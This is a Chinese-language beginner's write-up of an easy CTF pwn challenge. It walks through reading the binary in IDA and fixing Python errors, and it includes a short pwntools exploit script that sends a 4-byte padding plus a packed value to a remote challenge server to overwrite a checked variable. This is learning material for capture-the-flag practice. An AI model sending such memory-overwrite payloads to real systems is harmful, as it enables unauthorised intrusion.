终于入坑了pwn,发现最简单的签到题都学不会,出现bug太多,比着大佬的方法做了,老是会出现问题,下面作为做这道题目中出现问题的自我反思:
首先是点开题目(附件是64位滴,怎么知道他是多少位的,可以先用比如32位的IDA打开,界面上就会显示他是多少位的,然后关掉选择相应的位的exe文件运行),下载附件,这个文件是要拖到IDA中进行反汇编的,关于IDA的使用方法我目前还是小白,只会傻瓜式拖拽,点击一通后,按F5出现C语言形式的代码:
根据大佬们的操作过程,终于理解了,flag一般存在于if这样的条件语句中,因此我们的目的就是使程序进入到if里的代码,sub_400686()这里面应该就存有flag
下面就是满足if的条件:
双击dword_60106c 和 0x10nLL后,发现两个虚拟地址相差为 106C - 1068 = 4个地址单位,看大佬的代码:
from pwn import*
r=remote("111.198.29.45",44362)
#r=process('./hellopwn')
payload=4*'A'+p64(1853186401)
r.recvuntil("bof")
r.sendline(payload)
r.interactive()
大佬们的代码都大同小异,大多都是定义的变量(比如这里的r)不同。
在哪里写python的脚本呢?
我是在ubuntu里,使用的vim编写的,在命令行界面,输入: vim exp.py 就可以创建python文件,并进入编辑界面。把大佬的代码敲上,按下ESC,退出编辑,shift+: 在下端会出现冒号,输入wq(就是保存修改并推出的意思,q!是不保存直接退出)
然后输入: python3 exc.py 运行该脚本
注意:这里如果直接输 python exc.py 可能会出现错误
ImportError: No module named pwn
但是如果前面都没有问题,也可能会出现bug,比如这样:
payload ='A'*4 + p64(1853186401)
TypeError: can only concatenate str (not "bytes") to str
经过一番尝试和找资料后,终于解决:
再次进入python脚本代码,将出现错误的语句进行如下修改:
payload =b'A'*4 + p64(1853186401)
加一个b以后就可以不再出现错误了(我可真棒,哈哈)